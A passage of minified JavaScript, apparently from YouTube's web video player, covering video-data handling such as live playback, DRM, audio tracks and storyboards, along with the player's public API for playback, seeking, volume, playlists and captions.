mN||0;for(var tNJ=g.S(Xp),I35=tNJ.next();!I35.done;I35=tNJ.next()){var s7=I35.value,vTE=dV(s7,sLi,dB.duration),VJ9=kd(s7.init),G3P=kd(s7.index),sdf=MK(s7.url,s7.sp,s7.s);sdf&&E4(dB,new HT(sdf,vTE,VJ9,G3P))}oo3=dB}xIX=oo3}var u_4=xIX;if(Xp.length>0){var $Iv=Xp[0];if(this.Y().playerStyle==="hangouts-meet"&&$Iv.url){var L4E=g.sr($Iv.url);this.JJ=this.JJ||Number(L4E.expire)}}var nTh=this.isLivePlayback&&!this.qI&&!this.hQ&&!this.isPremiere;this.B("html5_live_head_playable")&&(!q$(this)&&nTh&&this.kc("missingLiveHeadPlayable",
{}),this.Pv.ZZ==="yt"&&(u_4.AQ=!0));Pb=u_4}else Pb=null;this.kc("pafmts",{isManifestFilled:!!Pb})}if(Pb){eV(this,Pb);var H9V=!0}else H9V=!1;H9V?this.enableServerStitchedDai=this.enableServerStitchedDai&&ZF(this):this.Jq&&(this.Pv.ZZ==="yt"&&this.B9()&&this.B("drm_manifestless_unplugged")&&this.B("html5_deprecate_manifestful_fallback")?this.kc("deprecateMflFallback",{}):this.zc=!0)}var EOD=x.adpings;EOD&&(this.o5=EOD?o6(EOD):null);var i93=x.feature;i93&&(this.z5=i93);var IvD=x.referrer;IvD&&(this.referrer=
IvD);this.clientScreenNonce=uj(this.clientScreenNonce,x.csn);this.k_=sY(this.k_,x.root_ve_type);this.ir=sY(this.ir,x.kids_age_up_mode);this.FD||x.kids_app_info==void 0||(this.kidsAppInfo=x.kids_app_info);this.FD&&x.kids_app_info!=null&&(this.kidsAppInfo=x.kids_app_info);this.IE=ox(this.IE,x.upg_content_filter_mode);this.unpluggedFilterModeType=sY(this.unpluggedFilterModeType,x.unplugged_filter_mode_type);var Eof=x.unplugged_location_info;Eof&&(this.ZZ=Eof);var qf3=x.unplugged_partner_opt_out;qf3&&
(this.pk=uj("",qf3));this.Q6=ox(this.Q6,x.disable_watch_next);this.XT=uj(this.XT,x.internal_ip_override);this.oo=!!x.is_yto_interstitial;(this.interstitials.length||this.oo)&&this.Hv.push("yto");var Z93=x.XF;Z93&&(this.XF=Z93);var jd3;this.G9=(jd3=x.csi_timer)!=null?jd3:"";this.TP=!!x.force_gvi;x.watchUrl&&(this.watchUrl=x.watchUrl);var dQ=x.watch_endpoint;this.B("html5_attach_watch_endpoint_ustreamer_config")&&dQ&&FYV(this,dQ);if(dQ==null?0:dQ.ustreamerConfig)this.VT=im(dQ.ustreamerConfig);var ejH,
lvH,mIi=dQ==null?void 0:(ejH=dQ.loggingContext)==null?void 0:(lvH=ejH.qoeLoggingContext)==null?void 0:lvH.serializedContextData;mIi&&(this.Mi=mIi);g.zw(this.Pv)&&this.Pv.ZV&&(this.embedsRct=uj(this.embedsRct,x.rct),this.embedsRctn=uj(this.embedsRctn,x.rctn));this.k$=this.k$||!!x.pause_at_start;x.default_active_source_video_id&&(this.defaultActiveSourceVideoId=x.default_active_source_video_id)};
g.q.Y=function(){return this.Pv};
g.q.B=function(x){return this.Pv.B(x)};
g.q.hp=function(){return!this.isLivePlayback||this.allowLiveDvr};
g.q.hasSupportedAudio51Tracks=function(){var x;return!((x=this.F3)==null||!x.Cz)};
g.q.getUserAudio51Preference=function(){var x=1;ws(this.Pv)&&this.B("html5_ytv_surround_toggle_default_off")?x=0:g.p1(this.Pv)&&this.isLivePlayback&&this.Ut()&&(x=0);var T;return(T=g.VT("yt-player-audio51"))!=null?T:x};
g.q.xw=function(){this.T9()||(this.C.Z||this.C.unsubscribe("refresh",this.xw,this),this.T6(-1))};
g.q.T6=function(x){if(!this.isLivePlayback||!this.T||this.T.flavor!=="fairplay"){var T=NoV(this.C,this.xa);if(T.length>0){for(var t=g.S(T),u=t.next();!u.done;u=t.next())u=u.value,u.startSecs=Math.max(u.startSecs,this.qU()),this.B("html5_cuepoint_identifier_logging")&&u.event==="start"&&this.kc("cuepoint",{pubCue:u.identifier,segNum:x});this.publish("cuepointupdated",T,x);this.xa+=T.length;if(ZF(this)&&this.Pv.AM())for(T=g.S(T),t=T.next();!t.done;t=T.next())t=t.value,this.kc("cuepoint",{segNum:x,event:t.event,
startSecs:t.startSecs,id:t.identifier.slice(-16)}),t.event==="start"&&(t=t.startSecs,this.Xo.start=this.AQ,this.Xo.end=t+3)}}};
g.q.vJ=function(){this.T9()||(this.loading=!1,this.publish("dataloaded"))};
g.q.Ut=function(){return this.xQ!==void 0?this.xQ:this.xQ=!!this.wb||!!this.C&&mV(this.C)};
g.q.b4=function(x){var T=this;if(this.T9())return hg();this.L4=this.Cz=this.j=null;ED(this,"html5_high_res_logging_always")&&(this.Pv.qz=!0);return gYX(this,x).then(void 0,function(){return WOv(T,x)}).then(void 0,function(){return DJH(T)}).then(void 0,function(){return Nz5(T)})};
g.q.Uw=function(x){this.j=x;Bzf(this,this.j.getAvailableAudioTracks());if(this.j){x=g.S(this.j.videoInfos);for(var T=x.next();!T.done;T=x.next()){T=T.value;var t=T.containerType;t!==0&&(this.zw[t]=T.id)}}Y7(this);if(this.T&&this.j&&this.j.videoInfos&&!(this.j.videoInfos.length<=0)&&(x=Xt(this.j.videoInfos[0]),this.T.flavor==="fairplay"!==x))for(T=g.S(this.ea),t=T.next();!t.done;t=T.next())if(t=t.value,x===(t.flavor==="fairplay")){this.T=t;break}};
g.q.ul=function(){if(this.cotn)return null;var x=g.Yv(this.Pv)||this.B("web_l3_storyboard");if(!this.Xh)if(this.playerResponse&&this.playerResponse.storyboards){var T=this.playerResponse.storyboards,t=T.playerStoryboardSpecRenderer;t&&t.spec?this.Xh=new BK(t.spec,this.lengthSeconds,void 0,!1,x):(T=T.playerLiveStoryboardSpecRenderer)&&T.spec&&this.C&&(t=D5m(this.C.C).index)&&(this.Xh=new DG(T.spec,this.C.isLive,t,x))}else this.Oz?this.Xh=new BK(this.Oz,this.lengthSeconds,void 0,!1,x):this.NW&&this.C&&
(T=D5m(this.C.C).index)&&(this.Xh=new DG(this.NW,this.C.isLive,T,x));return this.Xh};
g.q.getStoryboardFormat=function(){if(this.cotn)return null;if(this.playerResponse&&this.playerResponse.storyboards){var x=this.playerResponse.storyboards;return(x=x.playerStoryboardSpecRenderer||x.playerLiveStoryboardSpecRenderer)&&x.spec||null}return this.Oz||this.NW};
g.q.gb=function(){return this.C&&!isNaN(this.C.gb())?this.C.gb():ZF(this)?0:this.lengthSeconds};
g.q.qU=function(){return this.C&&!isNaN(this.C.qU())?this.C.qU():0};
g.q.getPlaylistSequenceForTime=function(x){if(this.C&&this.Z){var T=this.C.C[this.Z.id];if(!T)return null;var t=T.index.tp(x);T=T.index.getStartTime(t);return{sequence:t,elapsed:Math.floor((x-T)*1E3)}}return null};
g.q.eD=function(){return!this.T9()&&!(!this.videoId&&!this.Hm)};
g.q.uQ=function(){var x,T,t;return!!this.adaptiveFormats||!!((x=this.playerResponse)==null?0:(T=x.streamingData)==null?0:(t=T.adaptiveFormats)==null?0:t.length)};
g.q.isLoaded=function(){return Jj(this)&&!this.zc&&!this.SH};
g.q.ys=function(x){x||(x="hqdefault.jpg");var T=this.S[x];return T||this.Pv.jY||x==="pop1.jpg"||x==="pop2.jpg"||x==="sddefault.jpg"||x==="hq720.jpg"||x==="maxresdefault.jpg"?T:C1(this.Pv,this.videoId,x)};
g.q.B9=function(){return this.isLivePlayback||this.qI||this.hQ||!(!this.liveUtcStartSeconds||!this.EG)};
g.q.isOtf=function(){return!!this.C&&(this.C.isOtf||!this.qI&&!this.isLivePlayback&&this.C.Z)};
g.q.getAvailableAudioTracks=function(){return this.j?this.j.getAvailableAudioTracks().length>0?this.j.getAvailableAudioTracks():this.ZG||[]:[]};
g.q.getAudioTrack=function(){var x=this;if(this.K&&!Xt(this.K))return g.Oh(this.getAvailableAudioTracks(),function(u){return u.id===x.K.id})||this.Sd;
if(this.ZG){if(!this.qY)for(var T=g.S(this.ZG),t=T.next();!t.done;t=T.next())if(t=t.value,t.S8.getIsDefault()){this.qY=t;break}return this.qY||this.Sd}return this.Sd};
g.q.getPlayerResponse=function(){return this.playerResponse};
g.q.getWatchNextResponse=function(){return this.nf};
g.q.getHeartbeatResponse=function(){return this.V7};
g.q.FA=function(){return this.watchUrl?this.watchUrl:this.Pv.getVideoUrl(this.videoId)};
g.q.xN=function(){return!!this.C&&(VcC(this.C)||Gy4(this.C)||LX5(this.C))};
g.q.getEmbeddedPlayerResponse=function(){return this.fd};
g.q.qg=function(){return(this.eventLabel||this.Pv.Om)==="shortspage"};
g.q.isAd=function(){return this.Lo||!!this.adFormat};
g.q.isDaiEnabled=function(){return!!(this.playerResponse&&this.playerResponse.playerConfig&&this.playerResponse.playerConfig.daiConfig&&this.playerResponse.playerConfig.daiConfig.enableDai)};
g.q.Ty=function(){var x,T,t;return this.isDaiEnabled()&&!!((x=this.playerResponse)==null?0:(T=x.playerConfig)==null?0:(t=T.daiConfig)==null?0:t.ssaEnabledPlayback)};
g.q.f8=function(){return q8V(this)?this.PO:this.eH||this.Ap};
g.q.IB=function(){return this.vE||this.Ap};
g.q.po=function(){return ED(this,"html5_samsung_vp9_live")};
g.q.kc=function(x,T,t){this.publish("ctmp",x,T,t)};
g.q.q2=function(x,T,t){this.publish("ctmpstr",x,T,t)};
g.q.hasProgressBarBoundaries=function(){return!(!this.progressBarStartPosition||!this.progressBarEndPosition)};
g.q.getGetAdBreakContext=function(x,T){x=x===void 0?NaN:x;T=T===void 0?NaN:T;var t={isSabr:$7(this)},u,H=(u=this.getHeartbeatResponse())==null?void 0:u.adBreakHeartbeatParams;H&&(t.adBreakHeartbeatParams=H);if(this.B("enable_ltc_param_fetch_from_innertube")&&this.isLivePlayback&&this.C&&!isNaN(x)&&!isNaN(T)){T=x-T;for(var I in this.C.C)if(u=this.C.C[I],u.info.Zo()||u.info.iD())if(u=u.index,u.isLoaded()){I=u.tp(T);u=u.p4(I)+T-u.getStartTime(I);this.kc("gabc",{t:x.toFixed(3),mt:T.toFixed(3),sg:I,igt:u.toFixed(3)});
t.livePlaybackPosition={utcTimeMillis:""+(u*1E3).toFixed(0)};break}}return t};
g.q.isEmbedsShortsMode=function(x,T){if(!g.zw(this.Pv))return!1;var t;if(!this.B("embeds_enable_emc3ds_shorts")&&((t=this.Pv.getWebPlayerContextConfig())==null?0:t.embedsEnableEmc3ds)||(this.Pv.Hv||"EMBEDDED_PLAYER_MODE_DEFAULT")!=="EMBEDDED_PLAYER_MODE_DEFAULT"||T)return!1;var u,H;return!!(((u=this.embeddedPlayerConfig)==null?0:(H=u.embeddedPlayerFlags)==null?0:H.isShortsExperienceEligible)&&x.width<=x.height)};
g.q.oU=function(){g.$B.prototype.oU.call(this);this.o5=null;delete this.o7;delete this.accountLinkingConfig;delete this.C;this.j=this.V7=this.playerResponse=this.nf=null;this.aH=this.adaptiveFormats="";delete this.botguardData;this.Lz=this.suggestions=this.un=null;this.sabrContextUpdates.clear()};var MsV={phone:"SMALL_FORM_FACTOR",tablet:"LARGE_FORM_FACTOR"},Ab3={desktop:"DESKTOP",phone:"MOBILE",tablet:"TABLET"},mTV={preroll:"BREAK_PREROLL",midroll:"BREAK_MIDROLL",postroll:"BREAK_POSTROLL"},j8q={0:"YT_KIDS_AGE_UP_MODE_UNKNOWN",1:"YT_KIDS_AGE_UP_MODE_OFF",2:"YT_KIDS_AGE_UP_MODE_TWEEN",3:"YT_KIDS_AGE_UP_MODE_PRESCHOOL"},lW4={0:"MDX_CONTROL_MODE_UNKNOWN",1:"MDX_CONTROL_MODE_REMOTE",2:"MDX_CONTROL_MODE_VOICE"},ei4={0:"UNPLUGGED_FILTER_MODE_TYPE_UNKNOWN",1:"UNPLUGGED_FILTER_MODE_TYPE_NONE",2:"UNPLUGGED_FILTER_MODE_TYPE_PG",
3:"UNPLUGGED_FILTER_MODE_TYPE_PG_THIRTEEN"},dT3={0:"EMBEDDED_PLAYER_MUTED_AUTOPLAY_DURATION_MODE_UNSPECIFIED",1:"EMBEDDED_PLAYER_MUTED_AUTOPLAY_DURATION_MODE_30_SECONDS",2:"EMBEDDED_PLAYER_MUTED_AUTOPLAY_DURATION_MODE_FULL"};g.P($h,g.W);g.q=$h.prototype;g.q.handleExternalCall=function(x,T,t){var u=this.state.N[x],H=this.state.J[x],I=u;if(H)if(t&&wi(t,Sdy))I=H;else if(!u)throw Error('API call from an untrusted origin: "'+t+'"');this.logApiCall(x,t);if(I){t=!1;u=g.S(T);for(H=u.next();!H.done;H=u.next())if(String(H.value).includes("javascript:")){t=!0;break}t&&g.Vh(Error('Dangerous call to "'+x+'" with ['+T+"]."));return I.apply(this,T)}throw Error('Unknown API method: "'+x+'".');};
g.q.logApiCall=function(x,T,t){var u=this.app.Y();u.vB&&!this.state.S.has(x)&&(this.state.S.add(x),g.io("webPlayerApiCalled",{callerUrl:u.loaderUrl,methodName:x,origin:T||void 0,playerStyle:u.playerStyle||void 0,embeddedPlayerMode:u.Hv,errorCode:t}))};
g.q.publish=function(x){var T=g.FD.apply(1,arguments);this.state.j.publish.apply(this.state.j,[x].concat(g.U(T)));if(x==="videodatachange"||x==="resize"||x==="cardstatechange")this.state.Z.publish.apply(this.state.Z,[x].concat(g.U(T))),this.state.K.publish.apply(this.state.K,[x].concat(g.U(T)))};
g.q.XW=function(x){var T=g.FD.apply(1,arguments);this.state.j.publish.apply(this.state.j,[x].concat(g.U(T)));this.state.Z.publish.apply(this.state.Z,[x].concat(g.U(T)))};
g.q.jD=function(x){var T=g.FD.apply(1,arguments);this.state.j.publish.apply(this.state.j,[x].concat(g.U(T)));this.state.Z.publish.apply(this.state.Z,[x].concat(g.U(T)));this.state.K.publish.apply(this.state.K,[x].concat(g.U(T)))};
g.q.gN=function(x){var T=g.FD.apply(1,arguments);this.state.j.publish.apply(this.state.j,[x].concat(g.U(T)));this.state.Z.publish.apply(this.state.Z,[x].concat(g.U(T)));this.state.K.publish.apply(this.state.K,[x].concat(g.U(T)));this.state.T.publish.apply(this.state.T,[x].concat(g.U(T)))};
g.q.B=function(x){return this.app.Y().B(x)};
g.q.oU=function(){if(this.state.element){var x=this.state.element,T;for(T in this.state.C)this.state.C.hasOwnProperty(T)&&(x[T]=null);this.state.element=null}g.W.prototype.oU.call(this)};g.P(qw,g.UR);qw.prototype.publish=function(x){var T=g.FD.apply(1,arguments);if(this.T.has(x))return this.T.get(x).push(T),!0;var t=!1;try{for(T=[T],this.T.set(x,T);T.length;)t=g.UR.prototype.publish.call.apply(g.UR.prototype.publish,[this,x].concat(g.U(T.shift())))}finally{this.T.delete(x)}return t};g.P(Z0,g.W);Z0.prototype.oU=function(){this.T.dispose();this.K.dispose();this.Z.dispose();this.j.dispose();this.S=this.C=this.J=this.N=this.D=void 0};var bFJ=new Set("endSeconds startSeconds mediaContentUrl suggestedQuality videoId rct rctn playmuted muted_autoplay_duration_mode".split(" "));g.P(ex,$h);g.q=ex.prototype;g.q.getApiInterface=function(){return Array.from(this.state.D)};
g.q.IR=function(x,T){this.state.T.subscribe(x,T)};
g.q.ogc=function(x,T){this.state.T.unsubscribe(x,T)};
g.q.getPlayerState=function(x){return GRV(this.app,x)};
g.q.B4=function(){return GRV(this.app)};
g.q.q09=function(x,T,t){dh(this)&&(Bm(this.app,!0,1),yN(this.app,x,T,t,1))};
g.q.getCurrentTime=function(x,T,t){var u=this.getPlayerState(x);if(this.app.getAppState()===2&&u===5){var H;return((H=this.app.getVideoData())==null?void 0:H.startSeconds)||0}return this.B("web_player_max_seekable_on_ended")&&u===0?F2X(this.app,x):x?this.app.getCurrentTime(x,T,t):this.app.getCurrentTime(x)};
g.q.Iz=function(){return this.app.getCurrentTime(1)};
g.q.Mu=function(){var x=this.app.p4(1);return isNaN(x)?this.getCurrentTime(1):x};
g.q.Td=function(){return this.app.getDuration(1)};
g.q.Q1=function(x,T){x=g.iu(Math.floor(x),0,100);isFinite(x)&&vm(this.app,{volume:x,muted:this.isMuted()},T)};
g.q.vgm=function(x){this.Q1(x,!1)};
g.q.FL=function(x){vm(this.app,{muted:!0,volume:this.getVolume()},x)};
g.q.Baj=function(){this.FL(!1)};
g.q.Xj=function(x){me(this.app)&&!this.B("embeds_enable_emc3ds_muted_autoplay")||vm(this.app,{muted:!1,volume:Math.max(5,this.getVolume())},x)};
g.q.Vw7=function(){me(this.app)&&this.B("embeds_enable_emc3ds_muted_autoplay")||this.Xj(!1)};
g.q.getPlayerMode=function(){var x={};this.app.getVideoData().E0&&(x.pfp={enableIma:g.Tt(this.app.getVideoData())&&this.app.Wk().allowImaMonetization,autoplay:N$(this.app.Wk()),mutedAutoplay:this.app.Wk().mutedAutoplay});return x};
g.q.TJ=function(){var x=this.app.getPresentingPlayerType();if(x===2&&!this.app.CC()){var T=g_(this.app.xm());if(!GPv(T)||LTi(T))return}x===3?zt(this.app.xm()).zK("control_play"):this.app.Y().B("html5_ssap_ignore_play_for_ad")&&g.pB(this.app.Wk())&&x===2||this.app.playVideo(x)};
g.q.qiG=function(){Bm(this.app,!0,1);this.TJ()};
g.q.pauseVideo=function(x){var T=this.app.getPresentingPlayerType();if(T!==2||this.app.CC()||GPv(g_(this.app.xm())))T===3?zt(this.app.xm()).zK("control_pause"):this.app.pauseVideo(T,x)};
g.q.HKQ=function(){var x=this.app,T=!1;x.Cf.L2&&(x.qj.publish("pageTransition"),T=!0);x.stopVideo(T)};
g.q.clearVideo=function(){};
g.q.getAvailablePlaybackRates=function(){var x=this.app.Y();return x.enableSpeedOptions?["https://admin.youtube.com","https://viacon.corp.google.com","https://yurt.corp.google.com"].includes(x.K?x.ancestorOrigins[0]:window.location.origin)||x.SH?XIE:x.supportsVarispeedExtendedFeatures?x5y:x.B("web_remix_allow_up_to_3x_playback_rate")&&g.L2(x)?Tn9:zC:[1]};
g.q.getPlaybackQuality=function(x){return(x=this.app.pz(x))?x.getPlaybackQuality():"unknown"};
g.q.mfu=function(){};
g.q.getAvailableQualityLevels=function(x){return(x=this.app.pz(x))?(x=g.r7(x.IX(),function(T){return T.quality}),x.length&&(x[0]==="auto"&&x.shift(),x=x.concat(["auto"])),x):[]};
g.q.H4=function(){return this.getAvailableQualityLevels(1)};
g.q.wF=function(){return this.SA()};
g.q.sM=function(){return 1};
g.q.getVideoLoadedFraction=function(x){return this.app.getVideoLoadedFraction(x)};
g.q.SA=function(){return this.getVideoLoadedFraction()};
g.q.Jd=function(){return 0};
g.q.getSize=function(){var x=this.app.bG().getPlayerSize();return{width:x.width,height:x.height}};
g.q.setSize=function(){this.app.bG().resize()};
g.q.loadVideoById=function(x,T,t,u){if(!x)return!1;x=jx(x,T,t);return this.app.loadVideoByPlayerVars(x,u)};
g.q.EmG=function(x,T,t){x=this.loadVideoById(x,T,t,1);Bm(this.app,x,1)};
g.q.cueVideoById=function(x,T,t,u){x=jx(x,T,t);this.app.cueVideoByPlayerVars(x,u)};
g.q.Z4=function(x,T,t){this.cueVideoById(x,T,t,1)};
g.q.loadVideoByUrl=function(x,T,t,u){x=UTH(x,T,t);return this.app.loadVideoByPlayerVars(x,u)};
g.q.jfm=function(x,T,t){x=this.loadVideoByUrl(x,T,t,1);Bm(this.app,x,1)};
g.q.cueVideoByUrl=function(x,T,t,u){x=UTH(x,T,t);this.app.cueVideoByPlayerVars(x,u)};
g.q.dI=function(x,T,t){this.cueVideoByUrl(x,T,t,1)};
g.q.mH=function(){var x=this.app.Y();if(x.jY)return"";var T=this.app.Wk(),t=void 0;T.isLivePlayback||(t=Math.floor(this.app.getCurrentTime(1)));return x.getVideoUrl(T.videoId,this.getPlaylistId()||void 0,t)};
g.q.DE=function(){return this.app.getDebugText()};
g.q.getVideoEmbedCode=function(){var x=this.app.Y();if(x.jY)return"";var T=this.app.Wk();return x.getVideoEmbedCode(T.isPrivate?"":T.title,this.app.Wk().videoId,this.app.bG().getPlayerSize(),this.getPlaylistId()||void 0)};
g.q.O8=function(x,T,t){return yI5(this.app,x,T,t)};
g.q.removeCueRange=function(x){return JIi(this.app,x)};
g.q.loadPlaylist=function(x,T,t,u){this.app.loadPlaylist(x,T,t,u)};
g.q.bfG=function(x,T,t,u){this.loadPlaylist(x,T,t,u);Bm(this.app,!0,1)};
g.q.cuePlaylist=function(x,T,t,u){this.app.cuePlaylist(x,T,t,u)};
g.q.nextVideo=function(x,T){this.app.nextVideo(x,T)};
g.q.cMZ=function(){this.nextVideo();Bm(this.app,!0,1)};
g.q.previousVideo=function(x){this.app.previousVideo(x)};
g.q.pSu=function(){this.previousVideo();Bm(this.app,!0,1)};
g.q.playVideoAt=function(x){this.app.playVideoAt(x)};
g.q.cR9=function(x){this.playVideoAt(x);Bm(this.app,!0,1)};
g.q.setShuffle=function(x){var T=this.app.getPlaylist();T&&T.setShuffle(x)};
g.q.setLoop=function(x){var T=this.app.getPlaylist();T&&(T.loop=x)};
g.q.Nu=function(){var x=this.app.getPlaylist();if(!x)return null;for(var T=[],t=0;t<x.getLength();t++){var u=g.YM(x,t);u&&T.push(u.videoId)}return T};
g.q.getPlaylistIndex=function(){var x=this.app.getPlaylist();return x?x.index:-1};
g.q.getPlaylistId=function(){var x=this.app.getPlaylist();return x&&x.listId?x.listId.toString():null};
g.q.yc=function(x){x==="captions"&&(x=g.Lb(this.app.xm()))&&!x.loaded&&x.load()};
g.q.OP=function(x){x==="captions"&&(x=g.Lb(this.app.xm()))&&x.loaded&&x.m07()};
g.q.OH=function(x,T,t){if(!T)return null;var u=this.app.xm();return x==="captions"?(x=g.Lb(u))&&x.jF(T,t):null};
g.q.Rz=function(x,T,t){return this.app.j8().getVideoData().isPrivate&&this.app.Y().K?{}:this.OH(x,T,t)};
g.q.P8=function(x){var T=this.app.xm();if(x==="captions"){var t;return((t=g.Lb(T))==null?void 0:t.getOptions())||null}return x?null:(x=[],g.Lb(T)&&x.push("captions"),x)};
g.q.getVolume=function(){return this.app.W_.volume};
g.q.isMuted=function(){return this.app.W_.muted};
g.q.destroy=function(){this.app.dispose()};
g.q.logImaAdEvent=function(x,T){var t=this.app.Y();g.Tt(this.app.getVideoData())&&this.app.Wk().allowImaMonetization&&(x={adSource:"EMBEDS_AD_SOURCE_IMA",breakType:T,embedUrl:g.AqC(this.app.Y().loaderUrl),eventType:x,youtubeHost:g.nq(this.app.Y().lf)||""},x.embeddedPlayerMode=t.Hv,g.io("embedsAdEvent",x))};
g.q.mutedAutoplay=function(x){var T=this.app.Y(),t,u,H;((t=T.getWebPlayerContextConfig())==null?0:(u=t.embedsHostFlags)==null?0:(H=u.allowMutedAutoplayDurationMode)==null?0:H.length)&&!T.j&&this.app.mutedAutoplay(x)};
g.q.preloadVideoById=function(x,T,t,u){var H,I;((H=this.app.Y().getWebPlayerContextConfig())==null?0:(I=H.embedsHostFlags)==null?0:I.allowPreloadVideoById)&&x&&(x=jx(x,T,t),this.app.preloadVideoByPlayerVars(x,u))};
g.q.YiU=function(x,T,t){this.preloadVideoById(x,T,t,1)};
g.q.setFauxFullscreen=function(x){g.mW();this.app.bM(x?2:0)};
g.q.Vx9=function(x){var T,t;((T=this.app.Y().getWebPlayerContextConfig())==null?0:(t=T.embedsHostFlags)==null?0:t.allowSetFauxFullscreen)&&this.setFauxFullscreen(x)};
g.q.setCenterCrop=function(x){var T,t;((T=this.app.Y().getWebPlayerContextConfig())==null?0:(t=T.embedsHostFlags)==null?0:t.allowSetCenterCrop)&&this.app.bG().setCenterCrop(x)};
g.q.wakeUpControls=function(){var x=g.lh(this);x&&x.rf()};var vsJ="driveweb flix flix_from_driveweb hovercard projector texmex wshbp".split(" ");g.P(Mw,ex);g.q=Mw.prototype;g.q.QH=function(x,T){this.state.K.subscribe(x,T)};
g.q.zK9=function(x,T){this.state.K.unsubscribe(x,T)};
g.q.cueVideoByPlayerVars=function(x,T){this.app.cueVideoByPlayerVars(x,T)};
g.q.KR=function(x,T){T=T===void 0?1:T;this.cueVideoByPlayerVars(AW(this,x),T)};
g.q.loadVideoByPlayerVars=function(x,T,t,u,H){this.app.loadVideoByPlayerVars(x,t,T,u,H)};
g.q.Zzj=function(x,T,t,u){t=t===void 0?1:t;this.loadVideoByPlayerVars(AW(this,x),T,t,u)};
g.q.preloadVideoByPlayerVars=function(x,T,t,u,H){t=t===void 0?NaN:t;this.app.preloadVideoByPlayerVars(x,T,t,u===void 0?"":u,H===void 0?"":H)};
g.q.tV7=function(x,T,t,u){T=T===void 0?1:T;this.preloadVideoByPlayerVars(AW(this,x),T,t,u)};
g.q.Qc=function(x,T,t){this.loadVideoById(x,T,t,1)};
g.q.Dj=function(x,T,t){this.loadVideoByUrl(x,T,t,1)};
g.q.FI=function(x){return this.getPlayerState(x)};
g.q.vP=function(x){x=x===void 0?1:x;var T=ziV(this,x);if(x=this.app.pz(x)){x=x.getVideoData();T.backgroundable=x.backgroundable;T.eventId=x.eventId;T.cpn=x.clientPlaybackNonce;T.isLive=x.isLivePlayback;T.isWindowedLive=x.hQ;T.isManifestless=ZF(x);T.allowLiveDvr=x.allowLiveDvr;T.isListed=x.isListed;x.liveUtcStartSeconds!=null&&(T.liveUtcStartSeconds=x.liveUtcStartSeconds);x.Ut()&&(T.isEncrypted=!0);if(x.j)for(var t=g.S(x.j.videoInfos),u=t.next();!u.done;u=t.next()){var H=void 0;if((H=u.value.video)==
null?0:H.isHdr()){T.isHdr=!0;break}}var I,E;T.isMultiChannelAudio=!!((I=x.K)==null?0:(E=I.audio)==null?0:E.isMultiChannelAudio())}return T};
g.q.seekBy=function(x,T,t,u,H){dh(this)&&yN(this.app,this.app.getCurrentTime()+x,T,t,H,u)};
g.q.Bnc=function(x,T,t){this.seekBy(x,T,t,void 0,1)};
g.q.seekTo=function(x,T,t,u,H){dh(this)&&yN(this.app,x,T,t,u,H)};
g.q.FTf=function(x,T,t,u){this.seekTo(x,T,t,u===void 0?1:u)};
g.q.getStoryboardFormat=function(){return this.app.getStoryboardFormat()};
g.q.QB=function(x,T){return this.getCurrentTime(x===void 0?1:x,T)};
g.q.uS=function(){var x=this.app.getPresentingPlayerType(!0);x===2&&this.app.CC()&&(x=1);return x};
g.q.getDuration=function(x,T){if(this.uS()===3){var t;return((t=zt(this.app.xm()).getProgressState())==null?void 0:t.duration)||0}return x?this.app.getDuration(x,T):this.app.getDuration(x)};
g.q.nY=function(x,T){return this.getDuration(x===void 0?1:x,T)};
g.q.Y4=function(x){return this.getVideoLoadedFraction(x)};
g.q.loadModule=function(x){if(x==="annotations_module"){var T=g.Ds(this.app.xm());T&&!T.loaded&&T.load()}this.yc(x)};
g.q.unloadModule=function(x){if(x==="annotations_module"){var T=g.Ds(this.app.xm());T&&T.loaded&&T.unload()}this.OP(x)};
g.q.getOption=function(x,T,t,u){return(u=this.app.pz(u))&&u.getVideoData().isPrivate&&this.app.Y().K?{}:this.setOption(x,T,t)};
g.q.Ye=function(x,T,t){return this.getOption(x,T,t,1)};
g.q.getOptions=function(x){var T=this.app.xm();switch(x){case "ad":var t,u;return((t=g_(T))==null?void 0:(u=t.getOptions)==null?void 0:u.call(t))||null;case "remote":var H,I;return((H=zt(T))==null?void 0:(I=H.getOptions)==null?void 0:I.call(H))||null;case "annotations_module":var E,Z;return((E=g.Ds(T))==null?void 0:(Z=E.getOptions)==null?void 0:Z.call(E))||null;case "creatorendscreen":var e,l;return((e=y1(T))==null?void 0:(l=e.getOptions)==null?void 0:l.call(e))||null;case "unplugged":var m,d;return((m=
g.B8(T))==null?void 0:(d=m.getOptions)==null?void 0:d.call(m))||null;case "kids":var M,A;return((M=Qov(T))==null?void 0:(A=M.getOptions)==null?void 0:A.call(M))||null}if(!x){x=this.P8();if(!x)return x;g_(T)&&x.push("ad");zt(T)&&x.push("remote");g.Ds(T)&&x.push("annotations_module");y1(T)&&x.push("creatorendscreen");g.B8(T)&&x.push("unplugged");Qov(T)&&x.push("kids");return x}return this.P8(x)};
g.q.setOption=function(x,T,t){if(!T)return null;var u=this.app.xm();switch(x){case "ad":return(x=g_(u))&&x.jF&&x.jF(T,t);case "kids":return(x=Qov(u))&&x.jF(T,t);case "remote":return(x=zt(u))&&x.jF(T,t);case "unplugged":return(x=g.B8(u))&&x.jF(T,t);case "annotations_module":return(x=g.Ds(u))&&x.jF(T,t);case "creatorendscreen":return(x=y1(u))&&x.jF(T,t)}return this.OH(x,T,t)};
g.q.addCueRange=function(x,T,t,u,H){return yI5(this.app,x,T,t,u,H)};
g.q.getDebugText=function(x){return this.app.getDebugText(x)};
g.q.getCurrentBroadcastId=function(){return null};
g.q.handleGlobalKeyDown=function(x,T,t,u,H,I,E,Z){T=T===void 0?!1:T;t=t===void 0?!1:t;u=u===void 0?!1:u;H=H===void 0?!1:H;var e=g.lh(this);e&&e.handleGlobalKeyDown(x,T,t,u,H,I,E,Z)};
g.q.handleGlobalKeyUp=function(x,T,t,u,H,I,E){T=T===void 0?!1:T;t=t===void 0?!1:t;u=u===void 0?!1:u;H=H===void 0?!1:H;var Z=g.lh(this);Z&&Z.handleGlobalKeyUp(x,T,t,u,H,I,E)};
g.q.setSizeStyle=function(x,T){this.app.setSizeStyle(x,T)};
g.q.showControls=function(){var x=g.lh(this);x&&x.showControls(!0)};
g.q.hideControls=function(){var x=g.lh(this);x&&x.showControls(!1)};
g.q.getVideoContentRect=function(x){x=this.app.bG().getVideoContentRect(x);return{left:x.left,top:x.top,width:x.width,height:x.height}};
g.q.toggleFullscreen=function(){function x(t){g.Vh(t)}
